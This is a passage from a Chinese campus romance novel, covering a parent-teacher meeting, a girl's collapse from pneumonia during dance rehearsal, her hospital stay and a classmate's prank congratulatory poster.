不是，这老男人莫名其妙发什么神经啊？！ 嘶，她头好痛！ 姜颖气得抬手打他好几下，怒骂道：“你有病吧！” “我好得很，是谁在输液？”柯绍之气定神闲。 姜颖怒斥：“就是你有病啊，比我还严重！宁宝还在上学，拍什么广告！” 柯绍之淡然回：“所以我说毕业后。” “那也不行！” 她侄女上小学时就退圈了，直到今天，依然有不少经纪公司主动找上门，尤其是最近两年，自从侄女上高中之后，找上门的娱乐公司趋之若鹜。 姜颖尊重侄女的任何想法，而姜织宁本人并不打算重回娱乐圈，也没有艺考的想法，所以姜颖帮她拒绝了很多商务合作，包括类似柯绍之提到的广告拍摄。 姜颖摆出一副气急败坏模样，柯绍之忍不住弯唇笑起来，故意逗她说：“怎么就不行了，我看宁宁的条件很不错啊，又有这方面的经验。” 说完，男人特意对姜织宁说：“宁宁抽空考虑下，要是有这方面的意向，随时告诉我。” 姜织宁：“” 姜颖：“柯绍之！！！” 女人猛然抬起手，一边咬牙切齿说不行，一边猛捶柯绍之肩膀。 柯绍之担心姜颖一个激动拉扯到输液线，无奈由她发泄打了好几下，然后顺势按住她手臂，好声好气说：“好了啊，你安静点，别这么激动，万一扯到线怎么办？” 两人亲昵互动的画面深深刺激着于佳杰，他一刻也呆不下去了，失神落魄离开。 见状，姜织宁轻拍了拍柯译衍，示意他可以回家了。 两人朝医院门口走，路上，姜织宁看向柯译衍，琢磨着说：“总觉得，柯叔叔是故意这么说的。” 柯译衍放下手机，无声瞥她一眼。 他看她的目光中有几分耐人寻味，姜织宁顿了顿，问他：“你干嘛？这眼神是什么意思？” 柯译衍笑了下，对刚才的闹剧悠悠评论两个字—— “会玩。” “”姜织宁沉默三秒，一脸平静反问，“你是不是也想挨打？” 她作势抬起右手。 柯译衍唇角微弯，加快脚步往前走。 姜织宁立马追上他，一本正经地说：“玩什么玩！不是和你说过了吗，姑姑已经和佳杰哥分手了，还有，你看着我说干什么？上次就说了，我搞不懂这些麻烦事。” 柯译衍懒洋洋嗯了声，再度加快脚步，故意远离她几步。 姜织宁不满“喂！”了声：“嗯什么嗯？离我这么远干什么？怕我打你吗？柯译衍你给我过来！” 柯译衍悠悠笑起来：“嗯也不行？” 姜织宁气得追上他：“不行啊，你语气有问题！” 第66章 双A组确实很有磕点！ 期中考试之后便是家长会。 高二一班有人哀愁郁闷, 愁自己没考好，有人兴奋不已，兴奋这天晚自习可以放假回家。 家长会于晚上六点半正式开始, 下午最后一节正课结束，班里人闹哄哄收拾起座位, 各种不良读物和违禁物品一律锁进储物柜里，绝对不能让爸妈发现。 周静瑶的储物柜实在塞不下, 便分了一大摞花花绿绿的杂志给姜织宁，让她帮忙存放。 还有男同学高举着最新款游戏机, 急喊道：“哪位好心人的柜子帮忙放下游戏机！！！” 这时, 班主任刘彬快速走进一班。 男人把早已打印好的姓名牌交给班长, 让他分发下去，然后站到讲台上说：“你们把自己的姓名牌贴到课桌右上角, 以便各位家长找到对应座位，别贴错了啊！” 家长会六点半才开始, 但很多家长提前一个小时就来了。 姜颖特意算好时间，早早从公司里开车过来, 每回集中开家长会的日子都特别难停车，她握着方向盘, 左右张望许久, 才见缝插针抢到一个停车位。 时间还早, 姜颖熟门熟路找到高二教学楼, 踩着十厘米尖头细高跟，抱着怀疑人生的心态, 一步步费劲爬上顶楼。 几名家长站在走廊上闲聊着, 刘彬从班里走出来准备回办公室，经过楼梯口时, 一眼瞄见正扶着楼梯把手，气喘吁吁的姜颖。 他对姜颖印象很深刻，她是所有家长中最年轻的那位。 原则上来说，家长会不允许哥哥姐姐作为家长代表，姜颖如今才30岁，人又会打扮，之前她来学校为姜织宁办手续的时候，刘彬一度以为她是姜织宁的姐姐。 刘彬立马停下脚步，笑着和姜颖打了个招呼。 “刘老师您好。”姜颖点了点头，端起姿态走到刘彬面前，微笑询问，“刘老师，我家宁宝最近在学校怎么样？” 江中是头部重高，最优质的生源基本都在江中本部，学生脑子聪明，很自律，所以家长从来不会问老师“我家孩子在学校表现怎么样？听不听话？”这类问题，关心的都是成绩、排名、校园职务方面的事。 刘彬下意识以为姜颖想问期中考成绩，便兢兢业业地说：“较上回月考来说，这次姜织宁同学的期中考成绩进步还是很明显的，尤其是在数学和物理科目上。” “上回月考之后啊，我们班按照科目互相帮扶原则，换过一次座位，姜织宁的同桌柯译衍同学，个人排名从未掉出过年级前五，是位非常优秀的学生，前不久的全国中学生网球联赛，柯同学还为学校拿下了全国单打冠军。” 姜颖说：“柯译衍？” 刘彬点点头，顺势问了个题外话：“对了姜小姐，之前我偶然听到班里同学说，您认识柯译衍的舅舅？” 姜颖笑了笑，大方承认：“是认识。” “哈哈，那真是巧。”刘彬不忘补充说，“当然了，成绩并不是第一位的，能考上江中的孩子，各方面都很优秀，我们校方呢，希望家长关注成绩的同时，更加关心孩子的成长，毕竟成长才是第一位的嘛。” 江中竞争压力大，刘彬身为班主任，接触过很多要求严苛，打压式作风的家长，有些学生之所以卷的厉害，完全是因为幕后家长更卷。 成绩进步是好事，应该鼓励才是，结果有些家长得到老师“进步比较明显、还不错”之类的反馈后，会立马拎出在意的关键词，皱眉指出：“比较？还？” 然后不满摇头，失望道：“那就说明一般般！不够好！” “刘老师，我也是这么认为的。” 姜颖赞同点头：“比起成绩，我更关心宁宝的健康和成长，其实学习方面我是不担心的，小朋友本来就自律，从来没让家里操心过，中考她能考上江中本部，都是靠她自己努力，家里没帮什么忙。” 紧接着，她微微笑了下，直白，且话里有话地说：“无非嘛，就因为上半年参加学校外出活动，导致她出意外，导致她休学住院，导致她睡眠不好记忆力下降，导致后遗症影响到她的学习状态，您说是吧，刘老师？” 姜颖很年轻，但到底是做生意的老板，在挤满人精的时尚行业工作了很多年，自然气场强势，说话强势。 女人一连蹦出好几个导致，刘彬明显感受到了对方话中传来的责怪与不满，他无法反驳，姜织宁受伤这件事，学校方面确实有一定责任。 刘彬擦了擦额头上的汗，无奈赔笑道：“是是是，您说的是。” 姜颖收起笑容，说回正事：“刘老师，我想问的是感情方面的事。” “感情？”刘彬愣住。 “对，刘老师，学校里有没有男生骚扰宁宝？” 比起成绩退步，姜织宁谈恋爱这件事更让姜颖无法容忍，倒不是不准谈，而是不准和乱七八糟的男生谈。 她眼光高得很，无法接受宝贝侄女被不三不四的男生拐跑。 姜颖语气严肃：“之前发生过放学后有男生尾随宁宝的事，刘老师，您也知道我家孩子身体不好，现在她一门心思都放在学习上，我不希望有不三不四的男生骚扰她，更不希望再出现尾随这种恶劣情况。” 刘彬这下听明白了。 他很清楚，姜织宁童星的过往使得她比同龄人多了层耀眼光环，师生们都知道少女长得很漂亮，一直是公认的江中校花，校内外有不少男生追求她。 追求归追求，如果追求不成就上升到故意骚扰，那确实不行。 刘彬仔细想了想。 骚扰应该没有，至于早恋的话应该也没有吧，至少目前他没听到相关传闻。 男人认真道：“我明白您的顾虑，您放心，这方面我会多加注意的。姜织宁刚转来一班时，我考虑到她的身体原因，特意安排了她同桌，也就是柯译衍同学帮忙照看，但凡姜织宁出现什么问题，柯译衍会第一时间和我报告。” “是吗？” 姜颖有些意外，她还是第一次听说这事。 刘彬笑着点头，情不自禁夸道：“对，柯译衍做事情还是很稳当，很靠谱的，各方面都没的挑，我们老师同学都很喜欢他。” 两人说话时，姜织宁从班里走出来，她余光瞄见姜颖来了，立马开心抬起手，冲姑姑挥了挥。 姜颖朝侄女笑了下，随后对刘彬说：“好的，我了解了，那刘老师您先忙。” “姑姑，你这么早就来啦？” 班主任离开，姜织宁愉快小跑到女人身边。 “是啊，不是你说邀请我吃食堂吗？”姜颖笑道。 姜织宁笑眯眯：“哦，那时间刚好，我去班里拿下饭卡。” 刚转身，姜颖就及时喊住她，然后略不自然地轻咳一声，有意无意地问：“译衍呢？” 姜织宁足足愣了好一会儿，才反应过译衍是谁，因为柯译衍在姑姑这里已经失去姓名很久了。 姑姑每次都是用“对面那男生”来称呼他，这会儿突然换成了译衍，让她怪不习惯的。 怎么就突然受待见了？ 太阳从西边升起来了？ “他在班里。”姜织宁迟缓回。 “译衍有没有吃过晚饭？” “还没有。” “那你叫他一起吧。” “啊？” “怎么了，他不是还没吃晚饭吗？” “哦，好” 姜织宁带着任务，一脸茫然回班。 她笔直走到柯译衍面前，对他说：“姑姑来学校了，让我喊你一起去食堂吃晚饭。” 柯译衍愣了下，抬眼，漆黑眼眸流露出一丝困惑，“这么突然？” 姜织宁嗯了声，笑道：“还有一件喜事，你重新拥有姓名了，刚才姑姑在我面前喊你译衍！” 少女的语气十分雀跃，柯译衍轻挑了挑眉，唇角微扬：“我恢复姓名，你好像很开心。” “当然了。”姜织宁笑眼弯弯看着他，坦城说，“为你开心呀。” 今晚高二年级开家长会，所以有不少学生带着家长来吃食堂。 打好菜，姜织宁找了个靠窗位置。 三人坐下后，周围暗中观察的视线顺势挪过来，与此同时，响起几道窃窃私语。 “看左上角，那不是双A组吗？” “是哎，两人又坐一起吃饭了，宁王旁边那个漂亮姐姐是谁啊？” “刚才听宁王叫她姑姑。” “姑姑？居然这么年轻啊，所以是来替宁王开家长会咯？” “你这不废话吗，不然来干嘛。” 有女生八卦问：“所以说，双A组家里真的认识啊？” “不认识还能和家长坐一起？” “之前俞杨说过啊，两人家里早就认识了。” 女生惋惜叹气：“好吧，我还以为两人之间有戏呢。” 其实并不只她一个人这么想，有些人也觉得双A组特别般配，指不定某天就在一起了。 姜织宁和柯译衍是校花校草，不仅是同班同学，还是同桌，在外人眼里看来，两人相处得不错，甚至可以说，柯译衍在学校里接触最频繁的女生就是姜织宁。 都传柯译衍无心恋爱，但怎么讲呢，真要被cp嗑学家们细究起来，种种蛛丝马迹表明，双A组确实很有磕点！ “不可能吧，我听说宁王有男朋友啊，是位高三学长，好像姓蔡，宁王休学前和她男朋友一个班的。” “对对对，我也听说过，据说俩人青梅竹马，还订过娃娃亲呢。” 女生不以为意地说：“怎么不可能，我看双A组就很般配！男朋友怎么了，那也可以分手啊，分分合合不是很正常么。还有，这都什么年代了，还订亲订亲的，你们不觉得，柯译衍对待姜织宁的态度和其他女生很不一样吗？” “是不一样啊，毕竟人家早就认识，早就是朋友了啊。” 女生叹了口气，无比可惜地说：“我还以为，俞杨是为了帮忙避嫌才乱说两人家里认识，这下眼见为实了，呜呜呜，双A组CP粉梦碎了！” 周围总有若有似无的打探视线扫过来，姜颖敏锐察觉到，忍不住奇怪问：“怎么老有人看我们啊？” 姜织宁早就习以为常，俏皮夸道：“应该是在看姑姑，毕竟太年轻太漂亮了。” “是吗？”女人抿唇反问。 姜织宁坚定点头：“肯定啊。” 姜颖笑眯眯望向柯译衍，随口问：“译衍是哪位家长过来开会？” 说实话，当姜织宁说姜颖喊他一起吃晚饭的时候，柯译衍真挺意外的。 眼下听见女人时隔许久，忽然亲切称呼他姓名，他的反应和姜织宁一样，足足静默了好几秒，才迟缓回：“舅舅过来。” “哦，是舅舅啊”话音落下的那一瞬，姜颖突然反应过来，迅速收起笑容，怪异啊了声，蹙眉反问，“舅舅，柯绍之吗？” 柯译衍点头。 姜颖顿时陷入无语，郁闷心想，那岂不是待会儿她要和柯绍之做同桌咯？ 晕死，这老男人跑来家长会凑什么热闹？ 这是家长会，他能懂什么啊！ “怎么是柯绍之来？你爸爸妈妈不过来吗？高中家长会还是很重要的。” 姜颖不爽追问。 姜织宁夹菜的手顿住，下意识飞快瞥了眼柯译衍，紧接着拼命冲姑姑使眼色，抢先说：“哎呀姑姑！肯定是工作忙才不能来嘛！” 姜颖不知何意，但也默契会意闭麦。 比起姜织宁的紧张，柯译衍倒是神色平静，他向来无所谓谁来开家长会，哪怕不来也没事，他习惯了。 十岁之前，一直是外公外婆去学校开家长会，偶尔舅舅也会去，十岁之后，他妈妈柯卉芸回来了，便换成她去开。 原本今天是柯卉芸过来，柯绍之偶然从柯译衍口中得知姜颖要出席家长会的消息后，便主动询问柯译衍，介不介意他来出席，柯译衍当然不介意。 舅舅特意这么做，是为了谁？ 问都不用问，柯译衍就能猜到。 姜阿姨生病去医院的那一晚，舅舅所作所为的目的太明显了。 想到这，柯译衍抬眸看向姜颖，好心透露说：“是舅舅主动要来。” 姜颖无语冷笑，不屑吐槽道：“嚯哟，他懂什么呀，他带过孩子吗？他就想代表尖子生家长，上台显摆是吧？你成绩好和他有什么关系啊？他付出什么了？真是无语死了，就他会邀功！没事，到时候我帮你听着点。” 柯译衍抿唇嗯了声。 姜织宁也忍不住小声笑起来。 姜颖顺势关心问：“家里赵阿姨做的饭，合你胃口么？” 柯译衍点头：“挺好的。” 姜颖叮嘱：“你有什么想吃的，就和赵阿姨说，她厨艺很好，你们现在是长身体的年纪，一定要好好吃饭，作息规律，千万别随便应付，公司一忙我就回不来，有时候顾不到你们，自己照顾好自己。” 柯译衍弯唇放下筷子，应声说好。 因为舅舅的原因，导致他在姜颖面前一度失去姓名，不过他知道，姜阿姨其实是个嘴硬心软的人。 家里的饮食大权一向由姜阿姨负责，姜织宁身体不好，她的饮食需求是首位，但姜阿姨也会平衡菜单，让赵姨兼顾他的口味，时不时给他做药膳补身体。 柯译衍一直清楚这些细节上的照顾。 第67章 跌入他的怀抱 时间一晃而过, 十二月寒风萧瑟，校园里的树叶几乎全部掉光，一眼望去, 只剩下光秃秃的树枝。 江中老食堂旁边有个风景生态很不错的浅水湖，常年养着几只天鹅, 偶尔还会有白鹭飞来栖息，冷冬来临, 天鹅野鸭都不见了。 气温骤降之后，学校里感冒的学生迅速变多, 班里咳嗽声此起彼伏。 按照惯例, 月底元旦放假的前一天, 学校将会举办盛大的迎新晚会，姜织宁是校街舞社成员, 晚会那天要随街舞队上台表演。 这段时间她很忙，不仅要练习自己这边的舞蹈节目, 还要化身街舞老师，帮助高一学妹们扒舞排练。 之前姑姑感冒的时候姜织宁没被传染, 这回却不幸中招，哪怕她谨慎戴着口罩上下学, 结果还是被班里同学传染上, 跟着咳嗽起来。 下午最后一节课结束, 姜织宁收拾好东西, 起身去舞蹈教室。 迎新晚会导致舞蹈教室最近很抢手，好几个节目组都要使用场地, 因此得提前预约才能使用。 快要到艺体楼时, 姜织宁瞄见高一学妹们围聚在楼梯口，她加快脚步走到她们面前, 不解问：“怎么不上楼？” 其中一位短发女生解释道：“学姐，舞蹈室被跳民族舞的那帮人占用了。” 姜织宁蹙眉：“你们没预约吗？” 短发女生欲言又止，扭头看了眼旁边女生，似乎有难言之隐，最后摇头说：“忘记预约了。” 迟迟不好的感冒让姜织宁一直不太舒服，身体的钝感力严重阻碍她的感知，所以并没有察觉出学妹之间气氛不对劲。 她扯了扯口罩，偏头咳嗽几声，嗓音沙哑安慰：“没事，那就在楼梯口练吧，这里面积也够，正好现在没人用，再晚一点，楼梯口也要被其他舞蹈组抢走了，音箱带了吗？” “带了。”短发女生点头。 姜织宁去摸大衣口袋，空空如也，手机没在口袋里，她愣了几秒，恍然想起自己手机放在周静瑶那边。 她又咳几声，哑着嗓子问：“谁的手机借我录下视频？” “学姐，用我的好了。”短发女生主动走上前，把手机递给她。 姜织宁打开录视频模式，然后站到靠墙的椅子上。 刚站上去的那一瞬，身体突然头晕晃了下，她连忙抬手扶住墙壁，闭眼缓了好几秒，才慢慢睁开眼。 她转身面对几人，轻靠着墙壁，熟练指挥道：“先列好队形，跟着音乐跳一遍，我看看你们练得怎么样。” 等她们站好位置，姜织宁顺势播放起音乐。 学妹们要表演的是一只接近四分钟的当红女团舞，不是mv 版，姜织宁教的是更难更酷的编舞师版本，如果跳得好，舞台效果会很炸。 抱着一定期望，她从头到尾看完表演后，脸上笑容消失不见，表情凝重。 江中学生不只会读书，还多才多艺，所以报名迎新晚会的节目有很多，最后能上台的节目数量有限，因此等到后期节目审核环节时，淘汰率挺高。 很显然，如果审核时跳成这样，学妹们绝对会被淘汰。 可问题是，明明之前几次就跳得很好啊，怎么突然就垮了？ 姜织宁很不理解。 感冒严重影响身体状态，在高处站久了就会头晕目眩，意识飘渺，她强忍到录完视频的那一刻，及时走下椅子，平静道：“说实话，效果不太好，明明又练了半周，却比上次跳的差很多，什么原因？” 女生们我看你你看我，都不说话，还有俩人互相瞪一眼，跟有仇似的。 姜织宁接着点评：“这里没有镜子，等会儿你们自己看下视频，队形非常散乱，没有团魂，大家像是临时组队，都在自己跳自己的，完全看不出来是一个团队。力道软绵绵，状态也不对，最严重的是舞担位和门面位，你们走位时经常不注意，好几次撞到一起。” 话音落下，现场气氛变得有些低迷。 “分组练习吧，这组由队长带着，先练几遍团队默契。希望大家记住，这是团舞，是团队合作，不是个人秀，哪怕个人跳得再好，审核环节也通不过。” 说完后，姜织宁脱掉牛角扣大衣，单独点名两位动作不太熟练的女生，准备亲自上阵，帮她们抠动作细节。 刚带着人跳了一会儿，旁边忽然传来争吵声。 “不是，你能不能别老撞我啊！手能控制下方向吗？” “搞笑吧你，谁撞你了，明明是你故意走过来啊！” “我故意走你这边干嘛，你不要乱说话行吗！” “就是你走位有问题啊，笑死了，还舞担呢！” “喂，你以为我想跳舞担位吗，我最开始明明选的是门面啊！” “你现在扯这个是什么意思？！” 姜织宁停下动作，蹙眉扭头望去，是负责舞担位和门面位的两女生在瞪眼吵架。 其他女生跟着停下动作，面面相觑。 群舞中产生摩擦很正常，毕竟这是一项团队合作，每个人的舞技水平略有差别，但这两个女生显然是夹带着私人情绪在吵架。 “别吵了！”姜织宁迅速蹙眉高喊了声，然后招手询问，“队长，怎么回事？” 试图劝架的队长赶忙跑过来，低声解释：“她俩是情敌，喜欢同一个男生。” 姜织宁困惑啊了声：“什么鬼？” 队长表情无奈：“嗯，就是有这码事，我也是大前天才知道” “”姜织宁静默几秒，抓出重点问，“那你们这三天有没有合练过？” 队长老实说：“练了，但是舞担和门面没有同时出现过。” “”姜织宁偏头用力咳了几声，“意思是每次练习都少一个人，不是舞担就是门面？” 队长点头：“有矛盾，实在是叫不动她们。” 姜织宁无语叹了口气，难怪队形散乱，跳舞状态也不对劲。 她又问：“刚才说舞担学妹说，最开始她明明选的是门面，这话什么意思？前期没有沟通好吗？” 这是一只团舞，姜织宁并没有参与前期的舞位分配，她只负责教学部分，加入团队的时候，各自舞位已经划分好了。 队长尴尬解释：“最初分配舞位的时候，舞担位女生想选是门面位，结果另一个人也想要这个位置，舞担位女生没意见，就让出去了，谁想到，前几天这两人意外发现彼此是情敌” 姜织宁听懂了。 舞位分配确实一门复杂的技术活，分配不好的话，很容易起摩擦。 比如有人爱表现，就喜欢跳C位，有人喜欢女团里的某个成员，就想跳这个成员的位置。 情敌？ 好离谱的意外状况 一时之间，姜织宁无语得不知道说什么好。 与此同时，被她制止的争吵再度爆发。 “烦死了！” “我也看你烦死了！本来就是事实啊，还不让说吗，谁不知道门面是C位啊，当初不就是我让给你的吗！” “哦，所以是跳了这么久，现在突然后悔了？那你最开始就不要让啊。” “好心被当驴肝肺！谁会想到被你背刺啊，C位跳得稀烂好意思吗？到时候审核不过就怪你！” “你有病吧，你很厉害吗？跳得很好吗？这么厉害干脆独舞得了！” “你以为我想和你一个团？？？” 队长仰头深呼吸，头疼叹了口气，认命跑过去劝架：“哎，都干嘛呢，你们别吵了啊，有话好好说行不行。” 劝说不仅不管用，两边反而吵得更凶了，舞担位女生忽然崩溃大哭，一边吵架一边暴风哭泣。 旁观的几名女生吓了一跳，连忙围上去劝。 尖叫声、咒骂声、哭泣声……女生们的嗓门高亢尖锐，不断刺激着如沸水般嗡鸣的脑袋，姜织宁被吵得头晕脑胀，浑身难受。 她抬手按住极不舒服的胸口，胸口突然闷得不行，伴随着压抑的疼痛感，像是心脏上被压了块无比沉重的巨石。 还有呼吸 不仅胸口疼，呼吸也变得费劲起来，怎么回事，她为什么喘不过气？ * 活动课，柯译衍和俞杨一起去网球场打球，顺路给姜织宁送手机。 还没走到近处，两人就听到艺体楼那边传来气势汹汹的吵架声。 俞杨定睛一看，乐了：“哎，那边女生在干嘛，怎么吵架了？好像还有人哭了！我去，咋了啊？” 柯译衍抬眸瞥了眼，视线收回之前，敏锐注意到站在楼梯口的姜织宁。 即使她戴着口罩，也不影响他一眼认出她。 目光中，少女微微低头，右手扶墙，左手紧抓毛衣按着胸口，明显不太舒服的模样。 柯译衍没搭理俞杨，紧紧盯着姜织宁，皱眉加快脚步。 …… 胸口钝疼得越发厉害，更要命的是，她好像一条搁浅岸边的鱼，快要不能呼吸了！ 姜织宁被吵得心慌意乱，脑袋涨得随时就要爆炸，她张开嘴唇，深深吸气，一边急促呼吸着，一边猛然走到女生们面前，发脾气斥道：“别吵了！！！” 混乱的现场骤然安静下来，所有人扭头看向她。 与此同时，“啪！”一声，脑子里那根紧绷的弦猛然断裂。 姜织宁的脑袋慢慢低垂向地面，眼前视线瞬间模糊成一团，下一秒，她身体一软，天旋地转间，不受自控地侧身摔去。 “哎，学姐！” “学学姐！学姐！” “学姐你怎么了！！！” 焦急的面孔，吵杂的声音，在意识彻底消失之前，姜织宁模糊看见一道修长人影朝她飞奔而来，迅速将她拥入温暖宽阔的怀抱。 柯译衍单膝跪地，一手环抱着姜织宁，另一只手迅速去按她的脉搏，随后手背贴上她额头，挺烫，应该是发烧了。 他扯开闷住她呼吸的白色口罩，检查了下呼吸状况，接着冷静拍肩膀喊她名字，观察反应。 一活生生的人，刚才还好好的，忽然就在眼前失去意识晕倒，女生们都吓呆了，手足无措，惊慌掩唇，“学姐！学姐！”地喊。 “别吵！别围在这里！” 柯译衍低气压抬眸，冷冷扫了眼周围。 队长第一个反应过来，迅速将女生们疏散开，同时往外跑去：“我去叫校医！” “我去叫老师！”短发女生一同跟上。 俞杨气喘吁吁跟过来，一看姜织宁晕倒了，吓得当场大吼一声：“卧槽卧槽！宁王怎么了啊！” “瞎喊什么！”柯译衍冷脸骂了句，利落解开姜织宁的毛衣领纽扣，沉着问，“校医是不是不在？” “不在，刚才送篮球队的人去医院了，救护车也开走了！别着急，我现在就打120！” 俞杨手忙脚乱拿出手机。 这边焦急打完电话后，姜织宁终于有了反应，她缓缓睁开眼，吃力抬手，指尖轻扯了下柯译衍。 柯译衍感受到，立马扭头，看她意识恢复，他松了口气，悬空停滞的心暂时落地，注意到她嘴唇微弱动了动，他立马俯身去听。 “我摔到头没？”姜织宁费劲撑着眼皮，有气无力地问。 柯译衍立马镇定安抚：“放心，我接着你，没摔到。” 幸好，没摔到头就行。 她努力喘了口气，难受说：“那没事，可能周围太吵，头太晕了。” 柯译衍轻声问：“刚才是不是胸口痛，呼吸不过来？” 姜织宁迟缓眨了下眼。 柯译衍默契看懂了，又问：“现在感觉怎么样？” “好一点。” 他犹豫两秒，很快选择遵从自己的内心，轻握住她冰凉的手，温柔安慰：“别怕，坚持一下，我送你去医院。” 脑子里时不时袭来一阵阵眩晕感，姜织宁意识迷迷糊糊，身体特别难受，但她心慌意乱的心绪，却因为柯译衍格外温暖的怀抱而变得无比安定。 救护车来得很快，柯译衍打横抱起姜织宁，将她轻放到担架床上，紧随上车。 与此同时，周静瑶和刘彬闻讯赶来，一起忧心忡忡坐上车后厢。 十二月的冬天，室外气温只有两三度，刘彬却紧张得出了一身汗，他心脏砰砰狂跳，心慌得不行，就怕姜织宁到医院检查出什么意外。 “刘老师，擦擦汗吧。” 周静瑶看不下去，抽出几张纸巾递给刘彬。 “好好，这天还挺热” 刘彬擦着额角细汗，给姜颖打了个电话告知情况，挂掉电话后，不停夸柯译衍俞杨反应快，做得好。 柯译衍面无表情，像没听到男人说话一样，毫无反应，漆黑眼眸从始至终紧紧盯着姜织宁。 刚上车的时候，姜织宁意识还挺清醒，而刘彬因为精神过于紧张，导致他嘴巴一直停不下来，那说话声，吵得她头疼不已。 姜织宁没力气说话，只好双眼紧闭，很快，困意袭来，就这么沉沉睡着了。 再次醒来时，姜织宁已经躺在了医院病床上。 手背上挂着点滴，鼻尖萦绕着熟悉的消毒水味，耳边传来发烧、住院的话，她眼皮颤了颤，慢慢睁开眼。 好几个人围在她床边，姑姑也在，正和医生交谈。 医生说：“CT片子出来了，显示患者肺部有感染，是肺炎，所以会出现胸口钝痛，呼吸困难的症状。” “这怎么就变成肺炎了呢！她肺炎严重吗？”姜颖面色焦急询问，“之前朋友也是肺炎，最后没让住院。” 医生：“住不住院要看个体情况，症状轻就不用住院，小姑娘上半年刚动过手术，体质比普通人差，所以病变得快，她肺部的感染现在有点严重了，肯定是要住院治疗的，否则会有后遗症。” 医生严肃提醒：“这个病千万不能轻视，如果发展成重症肺炎，不仅会进ICU，死亡率也不低，我们医院发生过好几例肺炎去世的情况。” 周静瑶吓一跳，瞬间睁大眼，无意识地拽了下柯译衍。 这医生，怎怎么就突然说到ICU、去世了呢 听着好吓人啊！ 柯译衍偏头瞥她一眼，脸色也不太好看。 姜颖被医生说得精神紧张起来，神情凝重，立马点头：“好，那就住院治疗，我去办手续。” 刘彬擦了擦汗，顺势附和道：“对对对，还是按医生说的办！不怕一万只怕万一，万一肺炎严重起来，到时候进ICU就麻烦了，住院更保险，也好得更快，学校那边不用担心，我会配合批好假条。” 姜颖正准备离开时，柯译衍率先发现姜织宁醒了，他立马俯下身，凑近看着她，低声说：“醒了？” “啊？宁宝醒了？” 姜颖听到动静，连忙转身弯腰看向姜织宁。 所有人的视线瞬间挪到姜织宁脸上。 被好几双眼睛从四面八方盯着看，姜织宁觉得自己像熊猫，她无力弯了弯唇角，挺想笑，但实在没力气笑。 “要住院吗？”她轻声问。 姜颖怕她多想，连忙调整表情说：“你肺部有点感染了，住几天就好，没事的。” 周静瑶轻捏了捏姜织宁的手，安慰她：“是啊宁王，这段时间不是好多人感冒发烧吗，那隔壁班班长也是感冒肺炎住院，没几天就出院了，很常见的，你别担心哈，不是什么大问题。” 刘彬说：“你安心养病就好，身体健康最重要，学校那边不用担心，老师会帮你请好假，至于功课方面” “我来负责。”柯译衍冷静接话。 刘彬放心点头，打趣说：“对，你学霸同桌会帮忙，放一万个心。” 姜织宁眉眼弯弯看向柯译衍。 情况暂时尘埃落定，姜颖先给家里赵阿姨打了个电话，让她到医院照顾姜织宁，随后步伐匆匆去办理住院手续。 时间不早，晚上还要上自习，刘彬叮嘱了姜织宁几句话，接着和姜颖打了个招呼，准备先带人回学校。 临走前，柯译衍语气放轻松，俯身对姜织宁说：“别想太多啊，好好养病，无聊了就给我发信息。” 姜织宁轻眨眼，嗯了声。 俞杨冲姜织宁比了个握拳加油的手势，笑眯眯鼓励：“宁王加油，早日康复！我们会来看你的！” 周静瑶摸摸姜织宁的脸，目光坚定地说：“加油啊，你可是宁王哎！给我把肺炎踩在脚下摩擦，能做到吧？！” 姜织宁浅笑抬起手，冲几人挥了挥。 第68章 女娲毕设，威武宁王！ 输液、吃药、各项检查和治疗 住院前几天, 姜颖不允许任何人探望，只有柯译衍被特批，能跟着赵阿姨去医院帮忙, 就连周静瑶想给姜织宁送东西，都只能让柯译衍帮忙转交。 姜织宁住的单人间, 环境还算清净，除了配合治疗, 她大部分都在睡觉休息，偶尔看一会儿平板学习, 倒也不会无聊。 柯译衍没给她带书过来, 也不允许她费神学习太久, 所以课堂笔记他写得很精简，归类后打包邮箱发送, 这样更方便她看。 姜织宁是个听劝的人，完全没意见, 相当配合，乖乖遵守柯老师的安排。 住院住到第六天, 姜织宁病情基本稳定下来，姜颖没再阻拦众人探望。 于是, 和之前的清静形成强烈反差, 906病房突然变得无比热闹, 从早到晚人来人往, 果篮、鲜花源源不断往病房里送，连护士都在私下好奇议论。 期中当属周静瑶最牛, 说是代表全班心意, 专门给姜织宁定制了一个对联式的恶搞海报送过来。 当时医生正好进来查房，十多位医生前后涌进来, 围在姜织宁病床前说话，另一边，周静瑶和俞杨蹲在角落里默默忙活着。 柯译衍不知道这件事，他站在病床旁边，听医生说话，余光突然瞄见两人蹲在角落里，鼓捣着不知道从哪弄来的金属支架。 然后，什么东西被立了起来。 他皱眉走过去，刚想质问，就听见咔哒一声，支架被组装好，俞杨嬉皮笑脸扶着支架，将两米高的恶搞海报面朝向姜织宁。 柯译衍抬眼望去，愣住，陷入沉默。 海报颜色bling bling，时髦中融合了浓厚土气。 中间是姜织宁的巨幅半身照，是她艺术节表演时的抓拍，整体造型特别酷飒，美中不足的是，给她头顶P上去的五毛特效大皇冠过于闪瞎眼了 照片周围印了副对联。 左联——女娲毕设，威武宁王！ 右联——脚踩肺炎，摩擦摩擦！ 横批——宁王做到了，牛！！！ 这一刻，柯译衍也不知道是该骂人好，还是该鼓掌好，毕竟海报太惊人了，让他瞧着心情挺复杂的。 算了，他缓慢深呼吸，无话可说，实在是无话可说。 柯译衍当没看见，一言不发走到旁边。 与此同时，医生查完房准备离开。 距离海报最近的护士刚转身，就震惊发现身后多了个比她人还高的立式海报，护士被海报上的放大版人脸吓一跳，当场惊叫出声。 脚步停下，在场所有人的视线闻声挪过去，除了柯译衍。 沉默。 此时此刻，906病房落针可闻，集体式沉默。 那个场面哦，面无表情的姜织宁可以举起双手双脚发誓，医院负一楼太平间都没那么安静。 一片寂静中，最后还是带头主任哈哈一笑，点头赞赏说：“嗯，不错，威武威武！年轻就是好啊！” 男人一边说，一边光明正大拿出手机，笑眯眯拍照留念。 …… 下午，朱恬来了。 她听说肺炎患者饮食有禁忌，就没敢买吃的，思来想去，干脆买了束明亮阳光的向日葵。 走到门口时，姜织宁正靠坐在床上津津有味看着网球比赛，体育频道，重播着2011年法网女单决赛现场，中国网球名将李娜对阵意大利名将斯齐亚沃尼。 朱恬捧着向日葵，小心翼翼走进病房。 一进门，大大方方立在窗边的恶搞海报率先映入眼帘，她微微睁大眼，表情惊诧，不可思议打量了好几秒，才想起来打招呼。 “宁宁。” 姜织宁闻声望去，看到是朱恬，有些惊讶地说：“你怎么来啦？” “前两天我去音暴上课，听到西西老师说你生病住院了，就想过来看看你。”朱恬把向日葵递给她，真诚说，“祝你早日康复，没有打扰到你吧？” “怎么会打扰呢，谢谢你啦。” 